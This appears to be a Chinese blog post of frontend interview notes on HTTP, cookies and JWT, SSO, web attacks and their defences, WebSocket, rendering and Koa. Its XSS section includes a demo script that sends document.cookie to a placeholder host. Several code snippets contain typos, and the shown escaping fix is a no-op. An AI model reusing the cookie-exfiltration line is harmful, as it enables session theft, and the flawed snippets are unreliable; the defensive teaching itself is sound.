前端面试拼图-知识广度
摘要:最近,看了下慕课2周刷完n道面试题,记录并添加部分可参考的文档,如下...
1. 移动端H5 click有300ms延迟, 如何解决?
背景:double tap to zoom
移动端H5中的300ms点击延迟问题通常是由浏览器的双击缩放(double tap to zoom)功能引起的,延迟是为了等待一段时间,以确定用户是否要进行双击缩放操作。
解决方案:
- 借助一些第三方库,例如FastClick
- 监听touchStart和touchend事件(touchstart touchend 会先于click触发)
- 使用自定义DOM事件模拟一个click实践
- 使用CSS属性touch-action: manipulation,告知浏览器在用户点击时不进行双击缩放操作
- 把默认的click事件(300ms之后触发)禁止掉;
- 现代浏览器的改进:在HTML的<head>标签内添加以下meta标签可以禁用浏览器的缩放功能,进而减少点击延
<meta name="viewport" content="**width=device-width**, user-scalable=no">
扩展:Retina 屏幕的1px像素,如何实现?
1. 使用CSS的border-width和border-image属性:
.one-pixel-border { border-width: 1px; border-style: solid; border-image: linear-gradient(to right, transparent 50%, #000 50%) 0 0 1 0 stretch;
}
这个方法利用了border-image属性将线条绘制为一个渐变图像,其中透明部分占据一半的宽度,而另一半是实际的1像素宽度。
2. 使用 CSS::after伪元素和transform: scaleY()缩放:通过使用::after伪元素创建一个细线条,并利用transform: scaleY()进行纵向缩放,可以在 Retina 屏幕上实现清晰的细线效果。例如:
.element::after {content: "";display: block;height: 1px;background-color: red;transform: scaleY(0.5);transform-origin: top left;
}
3. 使用JavaScript第三方库来简化实现过程。例如,使用border.js或类似的库可以更方便地在Retina屏幕上创建1像素的边框。
2. 网络请求中, token和cookie有什么区别?
Token和Cookie都是在网络请求中用于身份验证和会话管理的机制
cookie:
HTTP无状态,每次请求都要带上cookie,以帮助识别身份;
服务端也可以向客户端set-cookie,cookie大小通常限制4kb
cookie默认有跨域限制:不可跨域共享、传递cookie
cookie本地存储:
HTML5之前cookie常被用于本地存储,但大小有限;
HTML5 之后推荐使用localStorage和sessionStorage
现代浏览器开始禁止第三方cookie,即禁止网页引入的第三方JS设置cookie
新增属性SameSite:Strict/Lax/None;值可以自己设置
cookie和session
cookie用于登录验证,存储用户标识(如userId);
session在服务端,存储用户详细信息,和cookie信息一一对应
cookie + session是常见登录验证解决方案
token vs cookie
cookie是HTTP规范,而token是自定义传递
cookie会默认被浏览器存储,而token需要自己存储;
token默认没有跨域限制
JWT(JSON Web Token)
前端发起登录,后端验证成功后,返回一个加密的token;
前端自行存储这个token(其中包含了用户信息,机密了)
之后访问服务端接口,都带着这个token,作为用户信息
总结:
cookie:HTTP标准;由跨域限制(默认跨域不共享,不传递);配合session使用;
token:无标准;无跨域限制;一般用于JWT
扩展:Session和JWT那个更好?
Session:
原理简单,易于学习;用户信息存储在服务端,可快速封禁某个用户。
占用服务端内存,硬件成本高;多进程、多服务器时,不好同步—需要使用第三方缓存,如redis;默认有跨域限制
JWT:
不占用服务端内存;多进程、多服务器不受影响;
用户信息存储在客户端,无法快速封禁某用户;万一服务端秘钥被泄露,则用户信息全部丢失(待商定);
token体积一般大于cookie,会增加请求的数据量
综上:如果有严格管理用户信息的要求(保密、快速封禁)推荐session;如没有特殊要求,则使用JWT(如初创期的网站),二者比较可参考
Cookie、Session和JWT-CSDN博客文章浏览阅读752次,点赞22次,收藏16次。JSON Web Tokens(缩写 JWT)是目前最流行的跨域认证解决方案[1],解决了Session验证资源消耗和扩展性差的缺点。其官网是:首先,JWT的组成包括三个部分 :Header部分:主要包括alg属性和typ属性。alg表示签名算法(algorithm),默认是HMAC SHA256(写成HS56);typ表示令牌(token)类型(type),JWT令牌统一写为JWT。),此处为:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9。https://blog.csdn.net/weixin_61933613/article/details/136382730?spm=1001.2014.3001.5502 扩展:如何实现SSO单点登录?
基于cookie:
cookie默认不可跨域共享,但是有些情况下可设置为共享;
主域名相同,如www.baidu.com image.baidu.com
设置cookie domain为主域名,即可共享cookie
SSO 技术:
主域名完全不同,则cookie无法共享
可使用SSO的技术,SSO实现流程说明:
- 用户首次访问WebsiteA,由于WebsiteA未登录,用户校验失败会触发一个302的重定向请求 到 SSO服务器登录页面;
- 用户输入账户、密码进行登录认证后,把登录状态写入到SSO的Session中,浏览器也会写下SSO域下的Cookie;
- SSO登录系统完成后会生成一个ST(Service Ticket),然后将ST作为参数传递给WebsiteA,WebsiteA获取到ST后,向SSO服务发送请求,验证ST的有效性。验证通过后WebsiteA就将登录状态写到Session中,并设置WebsiteA域下的Cookie,这样跨域的单点登录就完成了。
- 当用户访问WebsiteB/WebsiteC时,发现WebsiteB/WebsiteC不是登录状态,就会跳转到SSO系统。此时SSO系统发现已经登录,会生成一个ST。并将这个ST作为参数传递给WebsiteB/WebsiteC,WebsiteB/WebsiteC后台访问SSO系统验证ST有效性,验证通过后WebsiteB/WebsiteC就将登录状态写到Session中,并设置WebsiteB/WebsiteC域下的Cookie,这样其他子系统不需要再次进行登录就可以访问了。
SSO单点登录更多内容可参考
如何实现单点登录 - 知乎一、是什么 单点登录(Single Sign On),简称为 SSO,是目前比较流行的企业业务整合的解决方案之一 SSO的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统 SSO 一般都需要一个独立的…https://zhuanlan.zhihu.com/p/607721795
3. HTTP 协议和UDP协议的区别?
HTTP协议是应用层协议,TCP UDP协议是传输层协议,严格来说,应该拿TCP和UDP进行比较
TCP协议:有连接(三次握手),有断开(四次挥手),稳定传输
UDP协议:无连接,无断开,不稳定传输,但效率高,适用于如视频会议、语音通话
总结:
HTTP是应用层,TCP UDP是传输层
TCP 有连接,有断开,稳定传输
UDP无连接,无断开,不稳定传输,但效率高
扩展:HTTP协议 1.0 1.1 2.0有什么区别?
HTTP 1.0: 定义于1996年
最基础的HTTP协议,支持基本的GET POST方法;
每次请求/响应都会建立一个新的TCP连接,请求完成后立即关闭连接。
HTTP 1.1:发布于1999
新增缓存策略 cache-control E-tag等
支持长连接Connection:keep-alive, 一个TCP连接传输多个请求和响应;
断点续传,状态码206(分片上传每次206继续穿,完成状态码200)
支持新的方法PUT DELETE等,可用于Restful API
支持管线化,允许客户端发送多个请求而不等待响应,提高了并行性和性能
注意:浏览器会逐个发送多个请求,但服务器必须按照客户端请求的先后顺序依次回送相应的结果,以保证客户端能够区分出每次请求的响应内容(HTTP管道化实际上把先进先出队列从客户端(请求队列)迁移到服务端(响应队列)),管线化技术存在各种各样的问题,实际很很多浏览器并不支持。
HTTP 2.0:发布于2015
引入了二进制分帧层,将数据拆分为更小的帧进行传输,并在客户端和服务器之间复用连接;
可压缩header,减少体积;
多路复用,一次TCP连接中可以多个HTTP并行请求,避免了头部阻塞问题;
注:HTTP/1.1的头部阻塞(Head-of-Line Blocking)是指在使用持久连接(Keep-Alive)的情况下,由于TCP连接上同时只能处理一个请求/响应,而且请求和响应的顺序必须保持一致,导致后续的请求在前面的请求未完成时被阻塞的现象。
支持流量控制和服务器推送等新特性,提升了性能和用户体验
注:HTTP/2.0中的服务器推送(Server Push)是一项重要的性能优化特性,它允许服务器在客户端请求资源之前主动推送相关的资源给客户端,以提高页面加载速度和性能。
4. 什么是HTTPS中间人攻击?如何预防?
我们知道HTTP明文传输,HTTPS加密传输,但HTTPS也不是绝对安全的。这就是要介绍的HTTPS中间人攻击,它是一种恶意行为,攻击者插入自己作为“中间人”来拦截和篡改经过的加密通信数据。通常情况下,当用户与服务器之间建立HTTPS连接时,数据被加密以防止被窃听或篡改。然而,在中间人攻击中,攻击者可以在用户和服务器之间插入自己的恶意代理,使得用户和服务器认为他们正在直接通信,但实际上所有的数据都会经过攻击者的“中转”。
中间人攻击实施需要攻击者需要用户数据在到达目标设备前,完成拦截步骤完全了解其所有的数据交换。拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。参考下文中的HTTPS传输建立的示意图,解密过程有两种实施方法:
- SSL 劫持(伪造证书) 攻击者在 TLS 握手期间拦截到服务器返回的公钥(步骤3),将服务器的公钥替换为自己公钥并返回给客户端,这样攻击者就能用自己的私钥去解密用户数据,也可以用服务器公钥解密服务器数据。这种方式的攻击存在问题是可感知,客户端在校验证书过程中会提示证书错误;
- SSL 剥离 攻击者拦截到用户到服务器的请求后,攻击者继续和服务器保持 HTTPS 连接,并与用户降级为不安全的 HTTP 连接。
中间人攻击 - 黑客伪造证书
预防:
用可信的第三方 CA 厂商,不下载来源不明的证书;
尽可能使用 HTTPS 链接,开启 HSTS 策略
避免连接不知名的 WiFi 热点,公共网络不进行涉及敏感信息的交互
不忽略不安全的浏览器通知;
注: 通过开启 HSTS(HTTP Strict Transport Security)策略,告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护
5. <script> defer 和async有什么区别?
首先,明确defer和aysnc都是用来控制脚本的加载和执行方式的,参考下图HTML解析遇到Script标签:
无设置:HTML暂停解析,下载JS,执行JS,再继续解析HTML;
defer:HTML继续解析,并行(异步)下载JS,HTML解析完再执行JS;
async: HTML继续解析,并行下载JS,下载完成暂停HTML解析,立即执行JS,执行玩JS再解析HTML
总结:
defer 保证脚本的执行在文档解析完成后、DOMContentLoaded 事件触发前,且按照文档中出现的顺序执行;
async 允许脚本的异步加载和执行,不阻塞文档的解析,但执行顺序不固定(加载完就执行);
JS的执行一定和HTML解析是相互斥的,JS是单线程的。
扩展: prefetch和dns-prefetch有什么区别?
preload和prefetch
preload资源在当前页面使用,会优先加载;
prefetch资源在未来页面使用(未打开),空闲时加载。
<head> <!--preload 当前页面使用--><link rel="preload" href="style.css" as="style"><link rel="preload" href="main.js" as="script"><!--prefetch 未来页面使用--><link rel="prefetch" href="other.js" as="script"> <!--引用css--><link rel="stylesheet" href="style.css">
</head>
<body><!--引用 js--><script src="main.js" defer></script>
</body>
dns-prefetch 和preconnect
dns-prefetch 即DNS预查询,以便更快地建立连接和加载资源
preconnect即DNS预连接
<head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorgin>
</head>
总结:
prefetch是资源获取(和preload有关)
dns-prefetch是DNS预查询(和preconnect相关)
6. 你知道那些前端攻击?该如何预防?
XSS(Cross Site Script) 跨站脚本攻击
原理:是指攻击者利用网站漏洞将代码注入到其他用户浏览器的攻击方式。通常分为反射性、存储型和DOM型。
前端安全 | HZFE - 剑指前端 Offer相关问题https://febook.hzfe.org/awesome-interview/book1/network-security
手段:虽然不同类型实现手段有些区别,但黑客都是将JS代码插入到网页内容中,渲染时执行JS代码
预防:
对于外部传入的内容进行充分转义(前端或者后端);
设置 Cookie httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取;
开启 CSP(Content Security Policy,内容安全策略),规定客户端哪些外部资源可以加载和执行,降低 XSS 风险。
<!-- 通过就是脚本获取并传输cookie-->
<div><p>DEMO</p><script>var img = document.createElement('image')img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie</script>
</div>
// 预防:
<script>const str=`<p>DEMO</p><script>var img = document.createElement('image')img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie</script>` const newStr = str.replaceAll('<', '<').replaceAll('>', '>')
</script>
注:Vue和React 默认可以屏蔽XSS攻击,除了Vue中的v-html和React中的dangerouslySetInnerHTML。
CSRF(Cross Site Request Forgery)跨站请求伪造
原理:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击的网站执行某项操作的目的。
手段:黑客诱导用户去访问另一个网站的接口,冒用用户身份伪造请求
预防:严格的跨域限制+验证码机制
详细过程:
用户登陆了A网站,有了cookie
黑客诱导用户到B网站,并发起A网站的请求(前提是用户在A网站已登录)
A网站的API发现有cookie,认为是用户自己操作的
预防手段:
严格的跨域请求限制,如判断referrer(请求来源),仅仅允许安全域名请求;
为cookie设置SameSite,限制第三方 Cookie 的使用,可选值有 Strict(完全禁止)、Lax(只允许链接、预加载请求和 GET 表单的场景下发送第三方 Cookie)、None(关闭 SameSite 属性);
关键接口使用验证码,进行二次确认
点击劫持 Click Jacking
原理: 攻击者通过将一个或多个透明的、可见但被隐藏的层覆盖在网页上,诱导用户在点击看似正常的元素时,实际上触发了攻击者预设的恶意操作。
手段: 诱导界面蒙上一个透明的iframe,诱导用户点击
预防:
让iframe不能跨域加载;
判断iframe的域名是否一致,X-Frame-Options设置为sameorigin,只允许相同域名下的网页iframe;
X-Frame-Option设置为sameorigin,浏览器会拒绝加载来自不同源(origin)页面的 iframe。具体来说,"sameorigin" 选项指示浏览器只允许相同源的页面嵌入当前页面的 iframe 中,而拒绝来自不同源的页面的嵌入。
例如,如果网站 A 设置了 "X-Frame-Options: sameorigin",那么网站 B 就无法通过 iframe 将网站 A 的内容嵌入到自己的页面中。这可以有效地防止点击劫持攻击,因为攻击者无法通过 iframe 技术将目标网站的内容嵌入到恶意网页中,从而欺骗用户进行操作。
值得注意的是,"X-Frame-Options" 头部已经被新的 CSP(Content Security Policy)头部所取代,CSP 提供了更多的安全选项,并且可以包含类似 X-Frame-Options 功能的功能。
总的来说,"X-Frame-Options: sameorigin" 是一种简单但有效的安全机制,用于保护网站免受点击劫持攻击。
注: 相对于XSS和CSRF,需要与用户进行交互,实施攻击的成本较高,在网络犯罪中比较少见;但仍可能被利用于钓鱼、欺诈和广告作弊等方面。
DDoS:Distribute denial-of-service分布式拒绝服务
原理:通过大规模 Internet 流量淹没目标服务器或其周边基础设施以破坏目标服务器、服务或网络正常流量的恶意行为。
手段:分布式的、大规模的流量访问,使服务器瘫痪
预防:软件层不好做,需要硬件预防(如阿里云的WAF)
SQL注入
原理; 攻击者在向数据库服务器发送查询请求时,会在查询语句中添加恶意代码,从而对服务器造成损害;
手段:黑客提交内容时写入SQL语句,破坏数据库
预防:验证输入,白名单验证参数是否符合所期望的类型、长度、大小和格式;处理输入的内容,替换特殊字符
中间人攻击(MITM)(参考问题4)
7. WebSocket和HTTP协议有什么区别?
WebSocket
支持端到端通讯,可以由client发起,也可以由Server发起
用于:消息通知,直播间讨论、聊天室、协同编辑
WebSocket连接过程:先发起一个HTTP请求,成功后再升级到WebSocket协议,再通讯;
WebSocket和HTTP区别
http 是无状态的单向连接,WebSocket协议名是ws://,可双端发起请求;
WebSocket没有跨域限制
HTTP 是基于文本的协议,WebSocket 是基于帧的协议;
通过send和onmessage通讯(HTTP通过req和res)
扩展1:ws可升级为wss(类似https)
// 导入了createServer函数, 用于创建一个 HTTP 或 HTTPS 服务器
import {createServer} from 'https'
// 从 Node.js中的fs模块中导入了readFileSync函数, 用于同步地读取文件的内容。
import {readFileSync} from 'fs'
// 从第三方库ws中导入了WebSocketServer类, 用于创建 WebSocket 服务器
import {WebSocketServer} from 'ws'
// 调用了createServer函数来创建一个服务器实例,使用了对象字面量作为参数,包含了证书和密钥的信息
const server = createServer({cert: 'readFileSync(/path/to/cert.pem)',key: 'readFileSync(/path/to/key.pem)'
})
// 创建新的WebSocket服务器实例wss,并将之前创建的server实例传递给它
const wss = new WebSocketServer({server})
扩展2:实际项目中推荐使用socket.io,API更整洁
io.on('connection', socket => {// emit an event to the socketsocket.emit('request', /*...*/)// emit an event to all connected socketsio.emit('brocast', /*....*/)// listen to the eventsocket.on('reply', () => {/*....*/})
})
扩展4:WebSocket和HTTP长轮询的区别
HTTP长轮询:客户端发起请求,服务端阻塞(等待),不会立即返回
WebSocke: 客户端可以发起请求,服务端也可以发起请求
注意:HTTP长轮询,需要处理timeout,即timeout之后重新发送请求
8. 描述从输入URL到页面展示的完整过程
步骤如下:
网络请求:
DNS查询(得到IP),建立TCP连接(三次握手)
浏览器发起HTTP请求
收到请求响应,得到HTML源代码
解析:
解析HTML过程中,遇到静态资源还会继续发起网络请求,获取静态资源JS、CSS、图片、视频等;
注意:静态资源可能有强缓存,此时不必再请求;
解析:字符串 →结构化数据
- HTML构建DOM树
- CSS构建CSSOM树(style tree)
- 两者结合,形成render tree
扩展:优化解析的方式
CSS放在<head>中,不要异步加载CSS
JS放在<body>最下面(或合理使用defer async)
<img>提前定义width height
渲染:Render Tree绘制到页面上
计算各个DOM的尺寸、定位,最后绘制页面
遇到JS可能会执行(参考defer async)
异步CSS、图片加载,可能会触发重新渲染
扩展1:重绘repaint 重排reflow有什么区别?
动态网页,随时都会重绘和重排
重绘 通常是元素外观改变,如颜色、背景色,但元素的尺寸、定位不变,不会影响其他元素的位置;
重排 重新计算尺寸和布局,可能会影响其他元素的位置,如元素高度增加,可能会使相邻元素位置下移
区别:重排比重绘要影响更大,消耗也更大,尽量避免无意义的重排;
减少重排的方法:
集中修改样式,或直接切换css class
修改之前先设置display:none,脱离文档流
使用BFC特性,不影响其他元素位置
频繁触发(resize scroll)使用节流和防抖
使用createDocumentFragment批量操作DOM
优化动画,使用CSS3和requestAnimationFrame
扩展2:BFC Block Format Context块级格式化上下文
BFC内部的元素无论如何改动,都不会影响其他元素的位置,触发BFC的条件:
根节点<html>
float的值为left/right
overflow值为auto/scroll/hidden
display值为inline-block/table/table-row/table-cell
display: flex/grid的直接子元素
position: absolute/fixed;
9. 如何实现网页多标签通讯?
使用WebSocket
无跨域限制;全双工通信;保持连接状态
需要服务端支持,成本高
使用localStorage(简单易用,推荐)
同域的A和B两(多)个页面(localStorage跨域不共享);将数据长期存储在浏览器;提供事件storage监听变化
A页面设置localStorage
B页面可监听到localStorage值的修改
window.addEventListener('storage', (e) => {console.log("localStorage变化的事件触发了;", e)
})
通过SharedWorker通讯(不兼容IE11)
SharedWorker是WebWorker的一种
WebWorker可开启子进程执行JS,但是不能操作DOM
SharedWorker可以单独开启一个进程,用于同域页面通讯(跨域不共享)
worker.js
/**
* for SharedWorker
*/
const set = new Set() // set 用来存储连接的端口对象
// 当有新连接建立时,onconnect事件被触发,获取连接的端口对象port,并将其加入 set 中
onconnect = event => {const port = event.ports[0]set.add(port)// 设置port的onmessage事件监听器,用于接收消息port.onmessage = e => {// 遍历set中的端口对象,对除了自己以外的其他端口对象发送相同的消息,实现消息的广播set.forEach(p => {if(p === port) return //不给自己广播p.postMessage(e.data)})}// 向当前端口对象发送消息 'worker.js done'**port.postMessage**('worker.js done')
}// page: detail
<script>// 创建worker实例const worker = new SharedWorker('./worker.js')const tn1 = document.getElementById('btn')btn1.addEventListener('click', () => {console.log('click')worker.port.postMessage('detail go...') // 向 SharedWorker 发送消息})
</script>// page: list
<script>const worker = new SharedWorker('./worker.js')worket.port.onmessage = e => console.info('list', e.data) // 处理从 SharedWorker 接收到的数据
</script>
使用SharedWorker前要查看兼容问题:"sharedworker" | Can I use... Support tables for HTML5, CSS3, etchttps://caniuse.com/?search=sharedworkerWeb Worker 使用教程
Web Worker 使用教程 - 阮一峰的网络日志https://www.ruanyifeng.com/blog/2018/07/web-worker.html 扩展: 网页和iframe如何通讯?
可使用postMessage通讯,需要注意跨域的限制和判断
<!--index.html-->
<body><p>index page <button id="btn1">发送消息</button> </p></iframe id="iframe1" src="./child.html"></iframe><script>const btn1 = document.getElementById('btn1')btnq.addEventListener('click', () => {console.info('index clicked')window.iframe1.contentWindow.postMessage('hello', '*')})window.addEventListener('message', event => {console.info('origin', event.origin) //来源的域名console.info('index received', event.data)})</script>
</body><!--child.html-->
<body><p>child page <button id="btn1">发送消息</button> </p><script>const btn1 = document.getElementById('btn1')btnq.addEventListener('click', () => {console.info('child clicked')window.parent.postMessage('world','*')})window.addEventListener('message', event => {console.info('origin', event.origin) //来源的域名,判断来源的合法性console.info('child received', event.data)})</script>
</body>
10. 请描述koa2的洋葱圈模型
Koa2:一个简约、流行的node.js框架
Koa2 的洋葱圈模型是一种中间件执行流程的设计模式,用于处理 HTTP 请求和响应。它被称为洋葱圈,因为中间件的执行顺序类似于剥洋葱一样,先从外层中间件开始执行,然后逐层向内执行,最后再逐层返回。
洋葱圈模型的主要思想是将中间件按照一定的顺序组织起来,并且每个中间件可以在请求和响应的过程中执行相应的操作。整个流程中,请求会从外层中间件开始,逐层传递到内层中间件,然后再逐层返回,直到最外层的中间件处理完毕。
在 Koa2 中,每个中间件都是一个异步函数(async function),它们接收两个参数:context(上下文对象)和 next(下一个中间件函数)。通过调用 await next() 来执行下一个中间件,这也是洋葱圈模型的关键之处。
官网地址:
Koa (koajs) -- 基于 Node.js 平台的下一代 web 开发框架 | Koajs 中文文档Koa (koajs) 是一个新的 web 框架,由 Express 幕后的原班人马打造,致力于成为 web 应用和 API 开发领域中的一个更小、更富有表现力、更健壮的基石。通过利用 async 函数,Koa 帮你丢弃回调函数,并有力地增强错误处理。Koa 并没有捆绑任何中间件,而是提供了一套优雅的方法,帮助您快速而愉快地编写服务端应用程序。https://koa.bootcss.com/
const Koa = require('koa'); // 引入Koa框架模块,创建一个 Koa 应用
const app = new Koa(); // 创建一个Koa应用实例 app// logger
app.use(async (ctx, next) => {await next(); // 先执行下一步x-response-time,执行完再继续执行const rt = ctx.response.get('X-Response-Time');console.log(`${ctx.method} ${ctx.url} - ${rt}`);
});// x-response-time
app.use(async (ctx, next) => {const start = Date.now();await next(); // 先执行下一步response,执行完再继续执行const ms = Date.now() - start; // response返回的执行时间ctx.set('X-Response-Time', `${ms}ms`);
});// response
app.use(async ctx => {ctx.body = 'Hello World';
});app.listen(3000);
相关文章:

前端面试拼图-知识广度
摘要:最近,看了下慕课2周刷完n道面试题,记录并添加部分可参考的文档,如下... 1. 移动端H5 click有300ms延迟, 如何解决? 背景:double tap to zoom 移动端H5中的300ms点击延迟问题通常是由浏览…...

Android 开发 地图 polygon 显示信息
问题 Android 开发 地图 polygon 显示信息 详细问题 笔者进行Android项目开发,接入高德地图绘制区域后,需要在指定区域(位置)内显示文本信息,如何实现 实现效果 解决方案 代码 import com.amap.api.maps.model.T…...

flink1.18.0报错 an implicit exists from scala.Int => java.lang.Integer, but
完整报错 type mismatch;found : Int(100)required: Object Note: an implicit exists from scala.Int > java.lang.Integer, but methods inherited from Object are rendered ambiguous. This is to avoid a blanket implicit which would convert any scala.Int to a…...

掌握C语言结构体,开启编程新世界
✨✨欢迎👍👍点赞☕️☕️收藏✍✍评论 个人主页:秋邱博客 所属栏目:C语言 (感谢您的光临,您的光临蓬荜生辉) 前言 前面我们也涉及到了结构体的讲解,但是只是粗略的讲了一下。 接下…...

YOLOv3学习
YOLOv3仅使用卷积层,使其成为一个全卷积网络(FCN)。文章中,作者提出一个新的特征提取网络,Darknet-53。正如其名,它包含53个卷积层,每个后面跟随着batch normalization层和leaky ReLU层。没有池…...
oracle实现批量插入
一、Dao层(增加Parm参数) void insert(Param("list") List<TicketInfo> ticketInfos); 二、Mapper层(加入条件判断值是否为空) insert all<foreach collection"list" item"item" index"index">into 表名<trim prefix…...
游戏客户端开发
1、LOL里面用到的是什么同步机制? 2、网络不好的情况下人物会出现瞬移等情况,怎样避免? 3、游戏里面有没有涉及数据存储,如存档之类的?、 4、如果让你设计存档,会如何着手? 5、以二进制方式…...
电商API接口苏宁易购获得suning商品详情页实时数据API请求接入演示
要接入苏宁易购的API接口获取商品详情页实时数据,你需要遵循以下步骤: 注册成为开放平台的开发者,获取ApiKey和ApiSecret。 使用ApiKey和ApiSecret获取访问令牌(AccessToken)。 使用AccessToken调用苏宁易购的API接口…...
数据类型转换篇(二)
文章目录 7.11 float()7.12 hex()7.13 int()7.14 list()7.15 oct()7.16 ord()7.17 repr()7.18 set()7.19 str()7.20 tuple() 7.11 float() float() 是 Python 的内置函数,用于将一个数值或数值表示的字符串转换成浮点数(floating point numberÿ…...

新零售SaaS架构:线上商城系统架构设计
零售商家为什么要建设线上商城? 传统的实体门店服务范围有限,只能吸引周边500米以内的消费者。因此,如何拓展服务范围,吸引更多的消费者到店,成为了店家迫切需要解决的问题。 缺乏忠实顾客,客户基础不稳&a…...

Word文档密码设置:Python设置、更改及移除Word文档密码
给Word文档设置打开密码是常见的Word文档加密方式。为Word文档设置打开密码后,在打开该文档时,需要输入密码才能预览及编辑,为Word文档中的信息提供了有力的安全保障。如果我们需要对大量的Word文档进行加密、解密处理,Python是一…...

jar读取目录配置、打包jar后无法获取目录下的配置
jar读取目录配置、打包jar后无法获取目录下的配置 jar读取目录配置、打包jar后无法获取目录下的配置。java打成jar包后获取不到配置文件路径。解决项目打成jar包上线无法读取配置文件。打包jar后无法读取resource下的配置文件 场景 需要读取 src/main/resources/mapper下的所…...

python第三次项目作业
打印课堂上图案 判断一个数是否是质数(素数) 设计一个程序,完成(英雄)商品的购买(界面就是第一天打印的界面) 展示商品信息(折扣)->输入商品价格->输入购买数量->提示付款 输入付款金额->打印购买小票&a…...
架构之安全性维度
流程安全性 安全基本原则:可用性 完整性 机密性 CIA 安全框架:zachman P2DR Sabsa IPDRR IATF 安全评估方法:安全测试: SAST静态测试、 IAST交互测试 安全扫描 危险模型:攻击树分析 DREAD风险评估 渗透测试:…...
odoo字段访问控制
在 Odoo 中,可以通过几种方式实现字段的访问控制,包括通过模型安全规则、记录规则和字段属性来限制字段的访问。 1. 使用模型安全规则 模型安全规则(也称为访问控制列表,ACLs)允许你定义哪些用户组可以对哪些模型进行…...
mysql的基本知识点-操作数据库表
创建数据库: CREATE DATABASE database_name;创建一个名字为database_name的数据库; 删除数据库: DROP DATABASE database_name;删除名字为database_name的数据库; 在执行删除数据库操作前,请确保你确实想要删除数据…...

基于Springboot的疫情物资管理系统(有报告)。Javaee项目,springboot项目。
演示视频: 基于Springboot的疫情物资管理系统(有报告)。Javaee项目,springboot项目。 项目介绍: 采用M(model)V(view)C(controller)三层体系结构…...
【postgresql 基础入门】表的约束(一)主键与外键,数据的实体完整性与参照完整性,外键引用数据被修改时的动作触发
主键与外键-表的约束(一) 专栏内容: postgresql内核源码分析手写数据库toadb并发编程 个人主页:我的主页 管理社区:开源数据库 座右铭:天行健,君子以自强不息;地势坤,君子以厚德载物. 系列文章…...
centos 7 添加启动脚本
centos 7 java 开机启动 在CentOS 7上配置Java应用程序开机启动,可以通过创建一个systemd服务单元来实现。以下是步骤和示例代码: 创建一个新的systemd服务文件。 sudo vi /etc/systemd/system/your-java-app.service 在该文件中添加以下内容ÿ…...

java入门基础掌握知识
Java基础入门 Java一门 高级 编程语言 Java是 sun 公司研发的,现在属于 oracle 公司 Java之父是 詹姆斯.高斯林 Java主要是来做 企业级 应用开发的 Java的三大技术体系是: 技术体系说明Java SE(Java Standard Edition):标准版Java技术的核心和基础…...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...

测试微信模版消息推送
进入“开发接口管理”--“公众平台测试账号”,无需申请公众账号、可在测试账号中体验并测试微信公众平台所有高级接口。 获取access_token: 自定义模版消息: 关注测试号:扫二维码关注测试号。 发送模版消息: import requests da…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器
——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的一体化测试平台,覆盖应用全生命周期测试需求,主要提供五大核心能力: 测试类型检测目标关键指标功能体验基…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...

【大模型RAG】Docker 一键部署 Milvus 完整攻略
本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装;只需暴露 19530(gRPC)与 9091(HTTP/WebUI)两个端口,即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

cf2117E
原题链接:https://codeforces.com/contest/2117/problem/E 题目背景: 给定两个数组a,b,可以执行多次以下操作:选择 i (1 < i < n - 1),并设置 或,也可以在执行上述操作前执行一次删除任意 和 。求…...

如何理解 IP 数据报中的 TTL?
目录 前言理解 前言 面试灵魂一问:说说对 IP 数据报中 TTL 的理解?我们都知道,IP 数据报由首部和数据两部分组成,首部又分为两部分:固定部分和可变部分,共占 20 字节,而即将讨论的 TTL 就位于首…...
【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案
目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后,迭代器会失效,因为顺序迭代器在内存中是连续存储的,元素删除后,后续元素会前移。 但一些场景中,我们又需要在执行删除操作…...

【Linux系统】Linux环境变量:系统配置的隐形指挥官
。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量:setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...